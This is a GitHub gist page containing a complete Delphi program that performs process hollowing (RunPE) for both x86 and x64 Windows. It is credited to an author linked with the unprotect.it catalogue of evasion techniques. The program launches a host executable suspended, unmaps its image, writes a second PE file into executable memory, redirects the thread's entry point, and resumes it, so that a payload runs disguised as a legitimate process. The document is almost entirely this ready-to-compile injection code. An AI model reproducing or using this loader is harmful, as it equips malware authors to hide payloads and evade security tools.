Created
June 23, 2022 18:45
-
-
Save DarkCoderSc/9c251e871fa6afef606120a67ddea3db to your computer and use it in GitHub Desktop.
https://unprotect.it/technique/process-hollowing-runpe/ - Author: Jean-Pierre LESUEUR (@DarkCoderSc)
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Support both x86-32 and x86-64 | |
program Unprotect_RunPE; | |
{$APPTYPE CONSOLE} | |
{$R *.res} | |
uses | |
System.Classes, | |
WinAPI.Windows, | |
System.SysUtils; | |
function NtUnmapViewOfSection( | |
ProcessHandle: THandle; | |
BaseAddress: Pointer | |
):DWORD; stdcall; external 'ntdll.dll'; | |
type | |
EWindowsException = class(Exception) | |
private | |
FLastError : Integer; | |
public | |
{@C} | |
constructor Create(const WinAPI : String); overload; | |
{@G} | |
property LastError : Integer read FLastError; | |
end; | |
EInvalidPEFile = class(Exception) | |
public | |
{@C} | |
constructor Create(const AReason : String); overload; | |
end; | |
constructor EWindowsException.Create(const WinAPI : String); | |
var AFormatedMessage : String; | |
begin | |
FLastError := GetLastError(); | |
AFormatedMessage := Format('___%s: last_err=%d, last_err_msg="%s".', [ | |
WinAPI, | |
FLastError, | |
SysErrorMessage(FLastError) | |
]); | |
/// | |
inherited Create(AFormatedMessage); | |
end; | |
constructor EInvalidPEFile.Create(const AReason : String); | |
begin | |
inherited Create(Format('Invalid Windows PE File: "%s"', [AReason])); | |
end; | |
procedure WriteProcessMemoryEx(const hProcess : THandle; const pOffset, pData : Pointer; const ADataSize : SIZE_T); | |
var ABytesWritten : SIZE_T; | |
begin | |
if not WriteProcessMemory( | |
hProcess, | |
pOffset, | |
pData, | |
ADataSize, | |
ABytesWritten | |
) then | |
raise EWindowsException.Create('WriteProcessMemory'); | |
end; | |
procedure HollowMe(const pPEBuffer: PVOID; const APEBufferSize: Int64; APEHost : String); overload; | |
var AStartupInfo : TStartupInfo; | |
AProcessInfo : TProcessInformation; | |
pThreadContext : PContext; | |
AImageBase : NativeUInt; | |
pOffset : Pointer; | |
ABytesRead : SIZE_T; | |
ptrImageDosHeader : PImageDosHeader; | |
AImageNtHeaderSignature : DWORD; | |
ptrImageFileHeader : PImageFileHeader; | |
I : Integer; | |
pSectionHeader : PImageSectionHeader; | |
pPayloadAddress : Pointer; | |
pImageBaseOffset : Pointer; | |
ALoaderX64 : Boolean; | |
{$IFDEF WIN64} | |
pOptionalHeader64 : PImageOptionalHeader64; | |
{$ELSE} | |
pOptionalHeader32 : PImageOptionalHeader32; | |
{$ENDIF} | |
begin | |
if (not Assigned(pPEBuffer)) or (APEBufferSize = 0) then | |
raise Exception.Create('Memory buffer is not valid.'); | |
pOffset := pPEBuffer; | |
ptrImageDosHeader := PImageDosHeader(pOffset); | |
if ptrImageDosHeader^.e_magic <> IMAGE_DOS_SIGNATURE then | |
raise EInvalidPEFile.Create('IMAGE_DOS_SIGNATURE'); | |
pOffset := Pointer(NativeUInt(pOffset) + ptrImageDosHeader^._lfanew); | |
AImageNtHeaderSignature := PDWORD(pOffset)^; | |
if AImageNtHeaderSignature <> IMAGE_NT_SIGNATURE then | |
raise EInvalidPEFile.Create('IMAGE_NT_SIGNATURE'); | |
pOffset := Pointer(NativeUInt(pOffset) + SizeOf(DWORD)); | |
ptrImageFileHeader := PImageFileHeader(pOffset); | |
{$IFDEF WIN64} | |
ALoaderX64 := True; | |
{$ELSE} | |
ALoaderX64 := False; | |
{$ENDIF} | |
case ptrImageFileHeader^.Machine of | |
IMAGE_FILE_MACHINE_AMD64 : begin | |
if not ALoaderX64 then | |
Exception.Create('Cannot load X86-64 PE file from a X86-32 Loader.'); | |
end; | |
IMAGE_FILE_MACHINE_I386 : begin | |
if ALoaderX64 then | |
Exception.Create('Cannot load X86-32 PE file from a X86-64 Loader.'); | |
end; | |
end; | |
pOffset := Pointer(NativeUInt(pOffset) + SizeOf(TImageFileHeader)); | |
{$IFDEF WIN64} | |
pOptionalHeader64 := PImageOptionalHeader64(pOffset); | |
pOffset := Pointer(NativeUInt(pOffset) + SizeOf(TImageOptionalHeader64)); | |
{$ELSE} | |
pOptionalHeader32 := PImageOptionalHeader32(pOffset); | |
pOffset := Pointer(NativeUInt(pOffset) + SizeOf(TImageOptionalHeader32)); | |
{$ENDIF} | |
pSectionHeader := PImageSectionHeader(pOffset); | |
ZeroMemory(@AStartupInfo, SizeOf(TStartupInfo)); | |
ZeroMemory(@AProcessInfo, SizeOf(TProcessInformation)); | |
AStartupInfo.cb := SizeOf(TStartupInfo); | |
AStartupInfo.wShowWindow := SW_SHOW; | |
UniqueString(APEHost); | |
if not CreateProcessW( | |
PWideChar(APEHost), | |
nil, | |
nil, | |
nil, | |
False, | |
CREATE_SUSPENDED, | |
nil, | |
nil, | |
AStartupInfo, | |
AProcessInfo | |
) then | |
raise EWindowsException.Create('CreateProcessW'); | |
pThreadContext := VirtualAlloc(nil, SizeOf(TContext), MEM_COMMIT, PAGE_READWRITE); | |
pThreadContext^.ContextFlags := CONTEXT_FULL; | |
if not GetThreadContext(AProcessInfo.hThread, pThreadContext^) then | |
raise EWindowsException.Create('GetThreadContext'); | |
{$IFDEF WIN64} | |
pImageBaseOffset := Pointer(pThreadContext^.Rdx + (SizeOf(Pointer) * 2)); | |
{$ELSE} | |
pImageBaseOffset := Pointer(pThreadContext^.Ebx + (SizeOf(Pointer) * 2)); | |
{$ENDIF} | |
if not ReadProcessMemory(AProcessInfo.hProcess, pImageBaseOffset, @AImageBase, SizeOf(NativeUInt), ABytesRead) then | |
raise EWindowsException.Create('ReadProcessMemory'); | |
if NtUnmapViewOfSection(AProcessInfo.hProcess, Pointer(AImageBase)) <> 0 then | |
raise Exception.Create('Could not unmap section.'); | |
pPayloadAddress := VirtualAllocEx( | |
AProcessInfo.hProcess, | |
nil, | |
{$IFDEF WIN64} | |
pOptionalHeader64^.SizeOfImage, | |
{$ELSE} | |
pOptionalHeader32^.SizeOfImage, | |
{$ENDIF} | |
MEM_COMMIT or MEM_RESERVE, | |
PAGE_EXECUTE_READWRITE | |
); | |
if not Assigned(pPayloadAddress) then | |
raise EWindowsException.Create('VirtualAllocEx'); | |
WriteProcessMemoryEx( | |
AProcessInfo.hProcess, | |
pPayloadAddress, | |
pPEBuffer, | |
{$IFDEF WIN64} | |
pOptionalHeader64^.SizeOfHeaders | |
{$ELSE} | |
pOptionalHeader32^.SizeOfHeaders | |
{$ENDIF} | |
); | |
for I := 1 to ptrImageFileHeader^.NumberOfSections do begin | |
try | |
WriteProcessMemoryEx( | |
AProcessInfo.hProcess, | |
Pointer(NativeUInt(pPayloadAddress) + pSectionHeader^.VirtualAddress), | |
Pointer(NativeUInt(pPEBuffer) + pSectionHeader^.PointerToRawData), | |
pSectionHeader^.SizeOfRawData | |
); | |
finally | |
pSectionHeader := Pointer(NativeUInt(pSectionHeader) + SizeOf(TImageSectionHeader)); | |
end; | |
end; | |
{$IFDEF WIN64} | |
pThreadContext^.Rcx := NativeUInt(pPayloadAddress) + pOptionalHeader64^.AddressOfEntryPoint; | |
{$ELSE} | |
pThreadContext^.Eax := NativeUInt(pPayloadAddress) + pOptionalHeader32^.AddressOfEntryPoint; | |
{$ENDIF} | |
WriteProcessMemoryEx( | |
AProcessInfo.hProcess, | |
pImageBaseOffset, | |
@pPayloadAddress, | |
SizeOf(Pointer) | |
); | |
if not SetThreadContext(AProcessInfo.hThread, pThreadContext^) then | |
raise EWindowsException.Create('SetThreadContext'); | |
if ResumeThread(AProcessInfo.hThread) = 0 then | |
raise EWindowsException.Create('ResumeThread'); | |
end; | |
procedure HollowMe(const APEFile, APEHost : String); overload; | |
var ABuffer : array of byte; | |
hFile : THandle; | |
AFileSize : Int64; | |
ABytesRead : DWORD; | |
begin | |
if not FileExists(APEFile) then | |
raise Exception.Create(Format('File "%s" does not exists.', [APEFile])); | |
/// | |
hFile := CreateFile( | |
PWideChar(APEFile), | |
GENERIC_READ, | |
FILE_SHARE_READ, | |
nil, | |
OPEN_EXISTING, | |
0, | |
0 | |
); | |
if hFile = INVALID_HANDLE_VALUE then | |
raise EWindowsException.Create('CreateFile'); | |
try | |
if not GetFileSizeEx(hFile, AFileSize) then | |
raise EWindowsException.Create('GetFileSizeEx'); | |
if AFileSize = 0 then | |
raise Exception.Create('Invalid PE File Size.'); | |
SetLength(ABuffer, AFileSize); | |
if not ReadFile(hFile, ABuffer[0], AFileSize, ABytesRead, nil) then | |
raise EWindowsException.Create('ReadFile'); | |
finally | |
CloseHandle(hFile); | |
end; | |
/// | |
HollowMe(PByte(ABuffer), AFileSize, APEHost); | |
end; | |
begin | |
try | |
HollowMe('FileToRun.exe', 'HostFile.exe'); | |
except | |
on E: Exception do | |
Writeln(E.ClassName, ': ', E.Message); | |
end; | |
end. |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment